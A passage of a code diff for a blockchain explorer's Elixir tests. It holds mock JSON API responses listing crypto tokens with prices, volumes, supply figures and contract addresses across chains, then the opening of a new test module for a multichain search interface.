}, { "address": "terra1zmclyfepfmqvfqflu8r3lv6f75trmg05z7xq95", "chainId": 2 }, { "address": "0x1af3f329e8be154074d8769d1ffa4ee058b1dbc3", "chainId": 4 }, { "address": "0xf2001b145b43032aaf5ee2884e456ccd805f677d", "chainId": 75 }, { "address": "0x6b175474e89094c44da98b954eedeac495271d0f", "chainId": 3 }, { "address": "0xd586e7f844cea2f87f50152665bcbc2c279d8d70", "chainId": 7 }, { "address": "0x8f3cf7ad23cd3cadbd9735aff958023239c6a063", "chainId": 5 }, { "address": "0x50c5725949A6F0c72E6C4a641F24049A917DB0Cb", "chainId": 98 }, { "address": "0xda10009cbd5d07dd0cecc66161fc93d7c9000da1", "chainId": 89 }, { "address": "0xcA77eB3fEFe3725Dc33bccB54eDEFc3D9f764f97", "chainId": 108 }, { "address": "0x0ee5893f434017d8881750101Ea2F7c49c0eb503", "chainId": 107 }, { "address": "0xda114221cb83fa859dbdb4c44beeaa0bb37c7537ad5ae66fe5e0efd20e6eb3", "chainId": 106 }, { "address": "0x4C1f6fCBd233241bF2f4D02811E3bF8429BC27B8", "chainId": 149 }, { "address": "0x6cc8f0b5607e1f947e83667368881a1bccc3f1c4", "chainId": 212 }, { "address": "0xC5015b9d9161Dca7e18e32f6f25C4aD850731Fd4", "chainId": 102 }, { "address": "0x765277eebeca2e31912c9946eae1021199b39c61", "chainId": 52 }, { "address": "0x4b9eb6c0b6ea15176bbf62841c6b2a8a398cb656", "chainId": 96 }, { "address": "0xda10009cbd5d07dd0cecc66161fc93d7c9000da1", "chainId": 61 }, { "address": "0x0200060000000000000000000000000000000000000000000000000000000000", "chainId": 24 }, { "address": "0xe3520349f477a5f6eb06107066048508498a291b", "chainId": 31 }, { "address": "0xDA10009cBd5D07dd0CeCc66161FC93D7c9000da1", "chainId": 84 }, { "address": "0x6de33698e9e9b787e09d3bd7771ef63557e148bb", "chainId": 90 }, { "address": "0x4651b38e7ec14bb3db731369bfe5b08f2466bd0a", "chainId": 17 }, { "address": "EjmyN6qEC1Tf1JxiG1ae7UTJhUxSwk1TCWNWqxWV4J6o", "chainId": 1 } ] }, { "id": 21076, "slug": "avalanche", "symbol": "AVAX", "name": "Avalanche", "priceUSD": "20.463198322952", "volume24hUSD": "234079380.7814911234932608", "circulatingSupply": "421534916", "contracts": [ { "address": "0x2C89bbc92BD86F8075d1DEcc58C7F4E0107f286b", "chainId": 5 }, { "address": "0x1CE0c2827e2eF14D5C4f29a091d735A204794041", "chainId": 4 }, { "address": "0x4792c1ecb969b036eb51330c63bd27899a13d84e", "chainId": 52 }, { "address": "0xcd8fe44a29db9159db36f96570d7a4d91986f528", "chainId": 19 }, { "address": "0x14a0243C333A5b238143068dC3A7323Ba4C30ECB", "chainId": 11 }, { "address": "0x65e66a61D0a8F1e686C2D6083ad611a10D84D97A", "chainId": 83 }, { "address": "0x6a5279e99ca7786fb13f827fc1fb4f61684933d6", "chainId": 96 } ] }, { "id": 23000, "slug": "pancakeswap", "symbol": "CAKE", "name": "PancakeSwap", "priceUSD": "2.371277962566", "volume24hUSD": "82354494.6215425524394026", "circulatingSupply": "321554264", "contracts": [ { "address": "0x0D1E753a25eBda689453309112904807625bEFBe", "chainId": 101 }, { "address": "0x3A287a06c66f9E95a56327185cA2BDF5f031cEcD", "chainId": 96 }, { "address": "0x1b896893dfc86bb67Cf57767298b9073D2c1bA2c", "chainId": 61 }, { "address": "0x2779106e4F4A8A28d77A24c18283651a2AE22D1C", "chainId": 110 }, { "address": "0x0d1e753a25ebda689453309112904807625befbe", "chainId": 102 }, { "address": "0x3055913c90Fcc1A6CE9a358911721eEb942013A1", "chainId": 98 }, { "address": "0x152649eA73beAb28c5b49B26eb48f7EAD6d4c898", "chainId": 3 }, { "address": "0x0e09fabb73bd3ade0a17ecc321fd13a19e81ce82", "chainId": 4 }, { "address": "0x159df6b7689437016108a019fd5bef736bac692b6d4a1f10c941f6fbb9a74ca6::oft::CakeOFT", "chainId": 91 } ] }, { "id": 25225, "slug": "dextf-protocol", "symbol": "DEXTF", "name": "Domani Protocol", "priceUSD": "0.144790927447", "volume24hUSD": "134748.9592184632356044", "circulatingSupply": "65807235", "contracts": [ { "address": "0x9929bcac4417a21d7e6fc86f6dae1cc7f27a2e41", "chainId": 96 }, { "address": "0x03E8D118A1864c7Dc53bf91e007ab7D91f5A06fA", "chainId": 7 }, { "address": "0x5F64Ab1544D28732F0A24F4713c2C8ec0dA089f0", "chainId": 3 } ] }, { "id": 25781, "slug": "wbnb", "symbol": "WBNB", "name": "Wrapped BNB", "priceUSD": "656.079994507931", "volume24hUSD": "2292132064.2050728573560094", "circulatingSupply": "1523844", "contracts": [ { "address": "0xfa9343c3897324496a05fc75abed6bac29f8a40f", "chainId": 75 }, { "address": "0x442F7f22b1EE2c842bEAFf52880d4573E9201158", "chainId": 7 }, { "address": "0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c", "chainId": 4 }, { "address": "0xc9baa8cfdde8e328787e29b4b078abf2dadc2055", "chainId": 52 }, { "address": "0x7f27352D5F83Db87a5A3E00f4B07Cc2138D8ee52", "chainId": 83 }, { "address": "9gP2kCy3wA1ctvYWQk75guqXuHfrEomqydHLtcTCqiLa", "chainId": 1 }, { "address": "0x673d2ec54e0a6580fc7e098295b70e3ce0350d03", "chainId": 12 }, { "address": "0x7400793aad94c8ca801aa036357d10f5fd0ce08f", "chainId": 96 }, { "address": "0xeCDCB5B88F8e3C15f95c720C51c71c9E2080525d", "chainId": 5 }, { "address": "0xd7D045BFBa6Ea93b480F409DB3dd1729337C1d13", "chainId": 18 }, { "address": "0x97e6c48867fdc391a8dfe9d169ecd005d1d90283", "chainId": 43 }, { "address": "0x2bF9b864cdc97b08B6D79ad4663e71B8aB65c45c", "chainId": 31 }, { "address": "0x2c78f1b70ccf63cdee49f9233e9faa99d43aa07e", "chainId": 55 }, { "address": "terra1cetg5wruw2wsdjp7j46rj44xdel00z006e9yg8", "chainId": 2 }, { "address": "ibc/F4A070A6D78496D53127EA85C094A9EC87DFC1F36071B8CCDDBD020F933D213D", "chainId": null }, { "address": "0xf5c6825015280cdfd0b56903f9f8b5a2233476f5", "chainId": 101 }, { "address": "0x94bd7A37d2cE24cC597E158fACaa8d601083ffeC", "chainId": 39 }, { "address": "0xb848cce11ef3a8f62eccea6eb5b35a12c4c2b1ee1af7755d02d7bd6218e8226f::coin::COIN", "chainId": 99 }, { "address": "0xD67de0e0a0Fd7b15dC8348Bb9BE742F3c5850454", "chainId": 10 }, { "address": "0x418D75f65a02b3D53B2418FB8E1fe493759c7605", "chainId": 3 } ] }, { "id": 26062, "slug": "wootrade", "symbol": "WOO", "name": "WOO", "priceUSD": "0.075585907922", "volume24hUSD": "3381083.3045858390631228", "circulatingSupply": "1918868005", "contracts": [ { "address": "0xabc9547b534519ff73921b1fba6e672b5f58d083", "chainId": 7 }, { "address": "0x6626c47c00f1d87902fc13eecfac3ed06d5e8d8a", "chainId": 10 }, { "address": "0x4691937a7508860f876c9c0a2a617e7d9e945d4b", "chainId": 4 }, { "address": "0x3befb2308bce92da97264077faf37dcd6c8a75e6", "chainId": 14 }, { "address": "0x1B815d120B3eF02039Ee11dC2d33DE7aA4a8C603", "chainId": 5 }, { "address": "0x4691937a7508860f876c9c0a2a617e7d9e945d4b", "chainId": 3 }, { "address": "0xcafcd85d8ca7ad1e1c6f82f651fa15e33aefd07b", "chainId": 61 }, { "address": "E5rk3nmgLUuKUiS94gg4bpWwWwyjCMtddsAXkTFLtHEy", "chainId": 1 }, { "address": "4691937a7508860f876c9c0a2a617e7d9e945d4b.factory.bridge.near", "chainId": 29 }, { "address": "0x9E22D758629761FC5708c171d06c2faBB60B5159", "chainId": 96 } ] }, { "id": 28986, "slug": "govi", "symbol": "GOVI", "name": "CVI", "priceUSD": "0.014434503875", "volume24hUSD": "84854.0413822350425000", "circulatingSupply": "15439655", "contracts": [ { "address": "0xeeaa40b28a2d1b0b08f6f97bb1dd4b75316c6107", "chainId": 3 }, { "address": "0x43Df9c0a1156c96cEa98737b511ac89D0e2A1F46", "chainId": 5 }, { "address": "0x07e49d5de43dda6162fa28d24d5935c151875283", "chainId": 61 }, { "address": "0xD63eF5e9C628c8a0E8984CDfb7444AEE44B09044", "chainId": 96 } ] }, { "id": 29494, "slug": "mute", "symbol": "MUTE", "name": "Mute", "priceUSD": "0.016605279624", "volume24hUSD": "4.6335687763122456", "circulatingSupply": "40000000", "contracts": [ { "address": "0xa49d7499271ae71cd8ab9ac515e6694c755d400c", "chainId": 3 }, { "address": "0x0e97c7a0f8b2c9885c8ac9fc6136e829cbc21d42", "chainId": 96 } ] }, { "id": 78303, "slug": "wpol", "symbol": "WPOL", "name": "Wrapped POL", "priceUSD": "0.214828338580", "volume24hUSD": "7167694.6332244566141460", "circulatingSupply": "298839976", "contracts": [ { "address": "0xf2f13f0B7008ab2FA4A2418F4ccC3684E49D20Eb", "chainId": 7 }, { "address": "0xc836d8dC361E44DbE64c4862D55BA041F88Ddd39", "chainId": 4 }, { "address": "0x28a487240e4d45cff4a2980d334cc933b7483842", "chainId": 96 }, { "address": "0xdbe380b13a6d0f5cdedd58de8f04625263f113b3f9db32b3e1983f49e2841676::coin::COIN", "chainId": 99 }, { "address": "Gz7VkD4MacbEB6yC5XD3HcumEiYx2EtDYYrfikGsvopG", "chainId": 1 }, { "address": "0x6aB6d61428fde76768D7b45D8BFeec19c6eF91A8", "chainId": 31 }, { "address": "0x8e66c0d6b70c0b23d39f4b21a1eac52bba8ed89a", "chainId": 43 }, { "address": "0x0d500b1d8e8ef31e21c99d1db9a6444d3adf1270", "chainId": 5 } ] }, { "id": 169625, "slug": "idexo-token", "symbol": "IDO", "name": "Idexo Token", "priceUSD": "0.019806179953", "volume24hUSD": "28219.3104301756690000", "circulatingSupply": "81027500", "contracts": [ { "address": "0xF9c53268e9de692AE1b2ea5216E24e1c3ad7CB1E", "chainId": 3 }, { "address": "0xDea6d5161978d36b5C0FA6a491faA754f4BC809C", "chainId": 96 } ] }, { "id": 169760, "slug": "lido-finance-wsteth", "symbol": "wstETH", "name": "Wrapped stETH", "priceUSD": "3038.168722518680", "volume24hUSD": "6334397.0657931186642560", "circulatingSupply": "3545482", "contracts": [ { "address": "0x1F32b1c2345538c0c6f582fCB022739c4A194Ebb", "chainId": 84 }, { "address": "0xf610A9dfB7C89644979b4A0f27063E9e7d7Cda32", "chainId": 108 }, { "address": "0x6C76971f98945AE98dD7d4DFcA8711ebea946eA6", "chainId": 78 }, { "address": "0x703b52f2b28febcb60e1372858af5b18849fe867", "chainId": 96 }, { "address": "0xB5beDd42000b71FddE22D3eE8a79Bd49A568fC8F", "chainId": 101 }, { "address": "0x458ed78EB972a369799fb278c0243b25e5242A83", "chainId": 103 }, { "address": "0xc1CBa3fCea344f92D9239c08C0568f6F2F0ee452", "chainId": 98 }, { "address": "0x03b54A6e9a984069379fae1a4fC4dBAE93B3bCCD", "chainId": 5 }, { "address": "0xc02fE7317D4eb8753a02c35fe019786854A92001", "chainId": 492 }, { "address": "0x5979D7b546E38E414F7E9822514be443A4800529", "chainId": 61 }, { "address": "0x7f39c581f595b53c5cb19bd0b3f8da6c935e2ca0", "chainId": 3 } ] }, { "id": 169918, "slug": "nodle", "symbol": "NODL", "name": "Nodle", "priceUSD": "0.000305023780", "volume24hUSD": "116874.9633574116394000", "circulatingSupply": "935521185", "contracts": [ { "address": "0xBD4372e44c5eE654dd838304006E1f0f69983154", "chainId": 96 } ] }, { "id": 171109, "slug": "symbiosis-finance", "symbol": "SIS", "name": "Symbiosis Finance", "priceUSD": "0.060961263279", "volume24hUSD": "1632923.5396401369641178", "circulatingSupply": "65321769", "contracts": [ { "address": "0x1467b62A6AE5CdcB10A6a8173cfe187DD2C5a136", "chainId": 108 }, { "address": "0x9e758b8a98a42d612b3d38b66a22074dc03d7370", "chainId": 61 }, { "address": "0x6EF95B6f3b0F39508e3E04054Be96D5eE39eDE0d", "chainId": 101 }, { "address": "0xd38bb40815d2b0c2d2c866e0c72c5728ffc76dd9", "chainId": 3 }, { "address": "0xdd9f72afED3631a6C85b5369D84875e6c42f1827", "chainId": 96 }, { "address": "0xF98b660AdF2ed7d9d9D9dAACC2fb0CAce4F21835", "chainId": 4 } ] }, { "id": 171673, "slug": "izumi-finance", "symbol": "IZI", "name": "iZUMi Finance", "priceUSD": "0.004412784502", "volume24hUSD": "330746.6003961574641634", "circulatingSupply": "787400000", "contracts": [ { "address": "0x9ad37205d608B8b219e6a2573f922094CEc5c200", "chainId": 3 }, { "address": "0x60D01EC2D5E98Ac51C8B4cF84DfCCE98D527c747", "chainId": 61 }, { "address": "0x60D01EC2D5E98Ac51C8B4cF84DfCCE98D527c747", "chainId": 108 }, { "address": "0x16A9494e257703797D747540f01683952547EE5b", "chainId": 96 }, { "address": "0x60d01ec2d5e98ac51c8b4cf84dfcce98d527c747", "chainId": 103 }, { "address": null, "chainId": 4 }, { "address": "0x60D01EC2D5E98Ac51C8B4cF84DfCCE98D527c747", "chainId": 98 }, { "address": "0x91647632245cabf3d66121f86c387ae0ad295f9a", "chainId": 143 }, { "address": "0x60D01EC2D5E98Ac51C8B4cF84DfCCE98D527c747", "chainId": 101 }, { "address": "0x60D01EC2D5E98Ac51C8B4cF84DfCCE98D527c747", "chainId": 5 } ] }, { "id": 173442, "slug": "liquity-usd", "symbol": "LUSD", "name": "Liquity USD", "priceUSD": "0.995979718780", "volume24hUSD": "2758.7340448632429660", "circulatingSupply": "41318766", "contracts": [ { "address": "0x368181499736d0c0CC614DBB145E2EC1AC86b8c6", "chainId": 98 }, { "address": "0xc40F949F8a4e094D1b49a23ea9241D289B7b2819", "chainId": 84 }, { "address": "0x5f98805a4e8be255a32880fdec7f6728c6568ba0", "chainId": 3 }, { "address": "0x93b346b6BC2548dA6A1E7d98E9a421B42541425b", "chainId": 61 }, { "address": "0x503234F203fC7Eb888EEC8513210612a43Cf6115", "chainId": 96 }, { "address": "0x23001f892c0c82b79303edc9b9033cd190bb21c7", "chainId": 5 } ] }, { "id": 174671, "slug": "maverick-protocol", "symbol": "MAV", "name": "Maverick Protocol", "priceUSD": "0.055832135906", "volume24hUSD": "2049518.9217414230150462", "circulatingSupply": "603700522", "contracts": [ { "address": "0x7448c7456a97769F6cD04F1E83A4a23cCdC46aBD", "chainId": 3 }, { "address": "0x64b88c73A5DfA78D1713fE1b4c69a22d7E0faAa7", "chainId": 98 }, { "address": "0x787c09494Ec8Bcb24DcAf8659E7d5D69979eE508", "chainId": 96 }, { "address": "0xd691d9a68C887BDF34DA8c36f63487333ACfD103", "chainId": 4 } ] }, { "id": 174835, "slug": "usd", "symbol": "USD+", "name": "Overnight.fi USD+", "priceUSD": "1.000886021354", "volume24hUSD": "2318557.5607744404448812", "circulatingSupply": "85659194", "contracts": [ { "address": "0x236eeC6359fb44CCe8f97E99387aa7F8cd5cdE1f", "chainId": 5 }, { "address": "0xB79DD08EA68A908A97220C76d19A6aA9cBDE4376", "chainId": 101 }, { "address": "0xB79DD08EA68A908A97220C76d19A6aA9cBDE4376", "chainId": 98 }, { "address": "0x4fEE793d435c6D2c10C135983BB9d6D4fC7B9BBd", "chainId": 221 }, { "address": "0xe80772eaf6e2e18b651f160bc9158b2a5cafca65", "chainId": 61 }, { "address": "0xe80772eaf6e2e18b651f160bc9158b2a5cafca65", "chainId": 7 }, { "address": "0x8E86e46278518EFc1C5CEd245cBA2C7e3ef11557", "chainId": 96 }, { "address": "0x73cb180bf0521828d8849bc8cf2b920918e23032", "chainId": 84 }, { "address": "0xe80772eaf6e2e18b651f160bc9158b2a5cafca65", "chainId": 4 } ] }, { "id": 176076, "slug": "zksync", "symbol": "ZK", "name": "zkSync", "priceUSD": "0.053223305221", "volume24hUSD": "21534018.8609259087161898", "circulatingSupply": "3675000000", "contracts": [ { "address": "0x5A7d6b2F92C77FAD6CCaBd7EE0624E64907Eaf3E", "chainId": 96 } ] }, { "id": 177999, "slug": "metavault-trade", "symbol": "MVX", "name": "Metavault Trade", "priceUSD": "0.134441948770", "volume24hUSD": "55.7786201251853000", "circulatingSupply": "3158978", "contracts": [ { "address": "0x0018D96C579121a94307249d47F053E2D687b5e7", "chainId": 101 }, { "address": "0x0018D96C579121a94307249d47F053E2D687b5e7", "chainId": 108 }, { "address": "0xc8ac6191cdc9c7bf846ad6b52aaaa7a0757ee305", "chainId": 96 }, { "address": "0x2760e46d9bb43dafcbecaad1f64b93207f9f0ed7", "chainId": 5 } ] }, { "id": 178476, "slug": "paxo-finance", "symbol": "WEFI", "name": "WeFi", "priceUSD": "0.030589544594", "volume24hUSD": "6155.0057772154816200", "circulatingSupply": "41883332", "contracts": [ { "address": "0xfFA188493C15DfAf2C206c97D8633377847b6a52", "chainId": 5 }, { "address": "0x81E7186947fb59AAAAEb476a47daAc60680cbbaF", "chainId": 96 }, { "address": "0x60892e742d91d16Be2cB0ffE847e85445989e30B", "chainId": 101 }, { "address": "0xfFA188493C15DfAf2C206c97D8633377847b6a52", "chainId": 4 }, { "address": "0xfFA188493C15DfAf2C206c97D8633377847b6a52", "chainId": 61 }, { "address": "0xfFA188493C15DfAf2C206c97D8633377847b6a52", "chainId": 3 } ] }, { "id": 180336, "slug": "veno-finance", "symbol": "VNO", "name": "Veno Finance", "priceUSD": "0.018190374275", "volume24hUSD": "115437.6067161836517400", "circulatingSupply": "511160922", "contracts": [ { "address": "0xe75a17b4f5c4f844688d5670b684515d7c785e63", "chainId": 96 }, { "address": "0xdb7d0a1ec37de1de924f8e8adac6ed338d4404e9", "chainId": 75 } ] }, { "id": 181064, "slug": "hypercomic", "symbol": "HYCO", "name": "HYPERCOMIC", "priceUSD": "0.000056327575", "volume24hUSD": "94095.2908919698815000", "circulatingSupply": null, "contracts": [ { "address": "0x77F76483399Dc6328456105B1db23e2Aca455bf9", "chainId": 3 }, { "address": "0x45656c02Aae856443717C34159870b90D1288203", "chainId": 96 } ] }, { "id": 181939, "slug": "zkdoge", "symbol": "ZKDOGE", "name": "zkDoge", "priceUSD": "0.000003460380", "volume24hUSD": "9.8128693700984100", "circulatingSupply": null, "contracts": [ { "address": "0xbFB4b5616044Eded03e5b1AD75141f0D9Cb1499b", "chainId": 96 } ] }, { "id": 181986, "slug": "fulcrom-finance", "symbol": "FUL", "name": "Fulcrom", "priceUSD": "0.006995472668", "volume24hUSD": "15865.7646197202946152", "circulatingSupply": "2097500155", "contracts": [ { "address": "0xe593853b4d603d5b8f21036Bb4AD0D1880097a6e", "chainId": 96 }, { "address": "0x83aFB1C32E5637ACd0a452D87c3249f4a9F0013A", "chainId": 75 } ] }, { "id": 182038, "slug": "space-fi", "symbol": "SPACE", "name": "SpaceFi", "priceUSD": "0.008479370310", "volume24hUSD": "273.3965067737609730", "circulatingSupply": "7047643", "contracts": [ { "address": "0x47260090ce5e83454d5f05a0abbb2c953835f777", "chainId": 96 } ] }, { "id": 182572, "slug": "reactorfusion", "symbol": "RF", "name": "ReactorFusion", "priceUSD": "0.001274750675", "volume24hUSD": null, "circulatingSupply": null, "contracts": [ { "address": "0x5f7CBcb391d33988DAD74D6Fd683AadDA1123E4D", "chainId": 96 } ] }, { "id": 182821, "slug": "derp-coin", "symbol": "DERP", "name": "DerpDEX", "priceUSD": "0.000000000982", "volume24hUSD": "86527.3838211341400000", "circulatingSupply": "55600000000000", "contracts": [ { "address": "0x5DfC78C4D073fD343BC6661668948178522A0DE5", "chainId": 3 }, { "address": "0x0bf4CB727b3f8092534D793893B2cC3348963dbf", "chainId": 96 }, { "address": "0xEbb78043e29F4af24E6266A7D142f5A08443969E", "chainId": 98 }, { "address": "0xEbb78043e29F4af24E6266A7D142f5A08443969E", "chainId": 110 } ] }, { "id": 183061, "slug": "zkapes", "symbol": "ZAT", "name": "zkApe", "priceUSD": "0.000000002068", "volume24hUSD": "84267.4172353719200000", "circulatingSupply": "46426356238082", "contracts": [ { "address": "0x47EF4A5641992A72CFd57b9406c9D9cefEE8e0C4", "chainId": 96 } ] }, { "id": 183169, "slug": "vesync", "symbol": "VS", "name": "veSync", "priceUSD": "0.000177133079", "volume24hUSD": "17.5539080563713875", "circulatingSupply": null, "contracts": [ { "address": "0x5756A28E2aAe01F600FC2C01358395F5C1f8ad3A", "chainId": 96 } ] }, { "id": 183206, "slug": "gravita-protocol", "symbol": "GRAI", "name": "Gravita Protocol", "priceUSD": "1.038124398700", "volume24hUSD": "254.4263305692724900", "circulatingSupply": "115838", "contracts": [ { "address": "0x15f74458aE0bFdAA1a96CA1aa779D715Cc1Eefe4", "chainId": 3 }, { "address": "0x894134a25a5faC1c2C26F1d8fBf05111a3CB9487", "chainId": 61 }, { "address": "0x5fc44e95eaa48f9eb84be17bd3ac66b6a82af709", "chainId": 96 } ] }, { "id": 185576, "slug": "holdstation", "symbol": "HOLD", "name": "Holdstation", "priceUSD": "1.047597992039", "volume24hUSD": "566623.5207217100563030", "circulatingSupply": "7903700", "contracts": [ { "address": "0xed4040fd47629e7c8fbb7da76bb50b3e7695f0f2", "chainId": 96 } ] }, { "id": 185628, "slug": "metaelfland-new", "symbol": "MELD", "name": "MetaElfLand", "priceUSD": "0.000085906805", "volume24hUSD": "104532.7469887663634000", "circulatingSupply": "549580000", "contracts": [ { "address": "0xcd2cfa60f04f3421656d6eebee122b3973b3f60c", "chainId": 96 } ] }, { "id": 185653, "slug": "karat", "symbol": "KAT", "name": "Karat", "priceUSD": "0.000561575224", "volume24hUSD": "65780.8531208648736000", "circulatingSupply": "1090715670", "contracts": [ { "address": "0xCDb7D260c107499C80B4b748e8331c64595972a1", "chainId": 96 } ] }, { "id": 185915, "slug": "zkswap-finance", "symbol": "ZF", "name": "zkSwap Finance", "priceUSD": "0.002617039976", "volume24hUSD": "140497.8235385651772904", "circulatingSupply": "551289480", "contracts": [ { "address": "0x31c2c031fdc9d33e974f327ab0d9883eae06ca4a", "chainId": 96 } ] }, { "id": 186051, "slug": "wagmi-com", "symbol": "WAGMI", "name": "Wagmi", "priceUSD": "0.006931617803", "volume24hUSD": "1934561.2104832143165772", "circulatingSupply": "1816532138", "contracts": [ { "address": "0xaf20f5f19698f1D19351028cd7103B63D30DE7d7", "chainId": 4 }, { "address": "0xb1f795776cb9ddac6e7e162f31c7419dd3d48297", "chainId": 10 }, { "address": "0xaf20f5f19698f1d19351028cd7103b63d30de7d7", "chainId": 61 }, { "address": "0x07Ed33a242BD9C08CA3C198e01189e35265024Da", "chainId": 5 }, { "address": "0x92CC36D66e9d739D50673d1f27929a371FB83a67", "chainId": 3 }, { "address": "0xaf20f5f19698f1d19351028cd7103b63d30de7d7", "chainId": 7 }, { "address": "0x0e0Ce4D450c705F8a0B6Dd9d5123e3df2787D16B", "chainId": 465 }, { "address": "0xaf20f5f19698f1D19351028cd7103B63D30DE7d7", "chainId": 314 }, { "address": "0xaf20f5f19698f1D19351028cd7103B63D30DE7d7", "chainId": 98 }, { "address": "0xaf20f5f19698f1d19351028cd7103b63d30de7d7", "chainId": 84 }, { "address": "0xaf20f5f19698f1d19351028cd7103b63d30de7d7", "chainId": 17 }, { "address": "0x3613ad277df1d5935d41400a181aa9ec1dc2dc9e", "chainId": 96 } ] }, { "id": 187519, "slug": "tarot-v-2", "symbol": "TAROT", "name": "Tarot v2", "priceUSD": "0.102369568487", "volume24hUSD": "26514.2841985293372282", "circulatingSupply": "67508541", "contracts": [ { "address": "0xf544251d25f3d243a36b07e7e7962a678f952691", "chainId": 98 }, { "address": "0x7f2fd959013eec5144269ac6edd0015cb10968fc", "chainId": 96 }, { "address": "0x2e4c7bf66d0484e44fea0ec273b85a00af92b2e3", "chainId": 81 }, { "address": "0x981bd9f77c8aafc14ebc86769503f86a3cc29af5", "chainId": 103 }, { "address": "0x13278cd824d33a7adb9f0a9a84aca7c0d2deebf7", "chainId": 89 }, { "address": "0xb092e1bf50f518b3ebf7ed26a40015183ae36ac2", "chainId": 5 }, { "address": "0x5ecfec22aa950cb5a3b4fd7249dc30b2bd160f18", "chainId": 7 }, { "address": "0x1f514a61bcde34f94bc39731235690ab9da737f7", "chainId": 84 }, { "address": "0x982e609643794a31a07f5c5b142dd3a9cf0690be", "chainId": 4 }, { "address": "0xa10bf0aba0c7953f279c4cb8192d3b5de5ea56e8", "chainId": 3 }, { "address": "0xb7c2ddb1ebac1056231ef22c1b0a13988537a274", "chainId": 10 } ] }, { "id": 187575, "slug": "zero-lend", "symbol": "ZERO", "name": "ZeroLend", "priceUSD": "0.000055572630", "volume24hUSD": "1902730.6709149503654030", "circulatingSupply": "71671379638", "contracts": [ { "address": "0x78354f8dccb269a615a7e0a24f9b0718fdc3c7a7", "chainId": 101 }, { "address": "0x27d0A2b5316b98088294378692F4EAbfB3222e36", "chainId": 96 } ] }, { "id": 188057, "slug": "libertas-omnibus", "symbol": "LIBERTAS", "name": "LIBERTAS OMNIBUS", "priceUSD": "2.012875893051", "volume24hUSD": "18.4928946922274523", "circulatingSupply": null, "contracts": [ { "address": "0xC6DaC3A53D5d6dE9D1D05AA6e28B8e9E41722601", "chainId": 96 } ] }, { "id": 188523, "slug": "koi-2", "symbol": "KOI", "name": "Koi", "priceUSD": "0.002194806500", "volume24hUSD": "205.9992931609069500", "circulatingSupply": "500000000", "contracts": [ { "address": "0xa995ad25ce5eb76972ab356168f5e1d9257e4d05", "chainId": 96 }, { "address": "0x9d14bce1daddf408d77295bb1be9b343814f44de", "chainId": 3 } ] }, { "id": 188734, "slug": "autoair-ai", "symbol": "AAI", "name": "AutoAir AI", "priceUSD": "0.002541865297", "volume24hUSD": null, "circulatingSupply": "33250000", "contracts": [ { "address": "0x144b83555d8a3119b0a69a7bc2f0a0388308fee3", "chainId": 96 } ] }, { "id": 189041, "slug": "long-2", "symbol": "LONG", "name": "Long", "priceUSD": "0.000000694095", "volume24hUSD": "0.8418805348653165", "circulatingSupply": "783813835230", "contracts": [ { "address": "0x5165ec33b491d7b67260B3143f96Bb4aC4736398", "chainId": 96 } ] }, { "id": 189524, "slug": "tevaera-zk", "symbol": "TEVA", "name": "Tevaera", "priceUSD": "0.007110085092", "volume24hUSD": "859877.3327826079846800", "circulatingSupply": "425508223", "contracts": [ { "address": "0xdbFF7c6d368904680706804645cAfA4dEfa3c224", "chainId": 96 } ] }, { "id": 189990, "slug": "wrapped-rseth", "symbol": "wrsETH", "name": "Wrapped rsETH", "priceUSD": "2642.703746000547", "volume24hUSD": "47011.5854783529306924", "circulatingSupply": null, "contracts": [ { "address": "0x87eEE96D50Fb761AD85B1c982d28A042169d61b1", "chainId": 84 }, { "address": "0xD2671165570f41BBB3B0097893300b6EB6101E6C", "chainId": 101 }, { "address": "0xe7903B1F75C534Dd8159b313d92cDCfbC62cB3Cd", "chainId": 150 }, { "address": "0xe7903B1F75C534Dd8159b313d92cDCfbC62cB3Cd", "chainId": 221 }, { "address": "0xEDfa23602D0EC14714057867A78d01e94176BEA0", "chainId": 98 }, { "address": "0xd4169E045bcF9a86cC00101225d9ED61D2F51af2", "chainId": 96 }, { "address": "0xa25b25548B4C98B0c7d3d27dcA5D5ca743d68b7F", "chainId": 108 } ] } ], "meta": { "count": 52 }, "status": { "time": "2025-06-02T14:54:40.534Z", "success": true, "code": 200, "message": "OK", "responseTime": 12, "creditsCost": 1 }} + """ + end + + defp json_tokens_2nd_page do + """ + {"data":[{"id":190444,"slug":"zyfi","symbol":"ZFI","name":"Zyfi","priceUSD":"0.004467522847","volume24hUSD":"527.5318580293320804","circulatingSupply":"228225560","contracts":[{"address":"0x5d0d7BCa050e2E98Fd4A5e8d3bA823B49f39868d","chainId":96}]},{"id":193174,"slug":"heurist","symbol":"HEU","name":"Heurist","priceUSD":"0.019624517115","volume24hUSD":"214644.7428230154531300","circulatingSupply":"155241424","contracts":[{"address":"0xEF22cb48B8483dF6152e1423b19dF5553BbD818b","chainId":98},{"address":"0xAbEc5eCBe08b6c02F5c9A2fF82696e1E7dB6f9bf","chainId":96}]}],"meta":{"count":52},"status":{"time":"2025-06-02T15:11:56.798Z","success":true,"code":200,"message":"OK","responseTime":11,"creditsCost":1}} + """ + end + + # cspell:enable + + defp json_native_coin_history do + """ + {"data":{"dates":["2025-05-28T00:00:00.000Z","2025-05-29T00:00:00.000Z","2025-05-30T00:00:00.000Z","2025-05-31T00:00:00.000Z","2025-06-01T00:00:00.000Z"],"volumes":[10438545595.534193,7970411497.8339,11568734237.80682,10646850181.382534,5666095954.980677],"prices":[2662.609005038795,2681.794582393094,2631.742984069461,2532.024768716731,2528.507007933771],"currency":"USD"},"status":{"time":"2025-06-02T15:32:53.690Z","success":true,"code":200,"message":"OK","responseTime":21,"creditsCost":1}} + """ + end + + defp json_secondary_coin_history do + """ + {"data":{"dates":["2025-05-28T00:00:00.000Z","2025-05-29T00:00:00.000Z","2025-05-30T00:00:00.000Z","2025-05-31T00:00:00.000Z","2025-06-01T00:00:00.000Z"],"volumes":[16697342.091162598,15904676.379819755,18808755.81579478,31779868.78666319,21254600.77892847],"prices":[6.669271727877,6.558096674134,6.443746862121,5.80657534093,5.903371964672],"currency":"USD"},"status":{"time":"2025-06-02T15:34:36.792Z","success":true,"code":200,"message":"OK","responseTime":49,"creditsCost":1}} + """ + end +end diff --git a/apps/explorer/test/explorer/microservice_interfaces/multichain_search_test.exs b/apps/explorer/test/explorer/microservice_interfaces/multichain_search_test.exs new file mode 100644 index 000000000000..94460e13d99e --- /dev/null +++ b/apps/explorer/test/explorer/microservice_interfaces/multichain_search_test.exs @@ -0,0 +1,1383 @@ +defmodule Explorer.MicroserviceInterfaces.MultichainSearchTest do + use ExUnit.Case + use Explorer.DataCase + import Mox + + alias Explorer.Chain.Cache.ChainId + alias Explorer.Chain.MultichainSearchDb.{MainExportQueue, TokenInfoExportQueue} 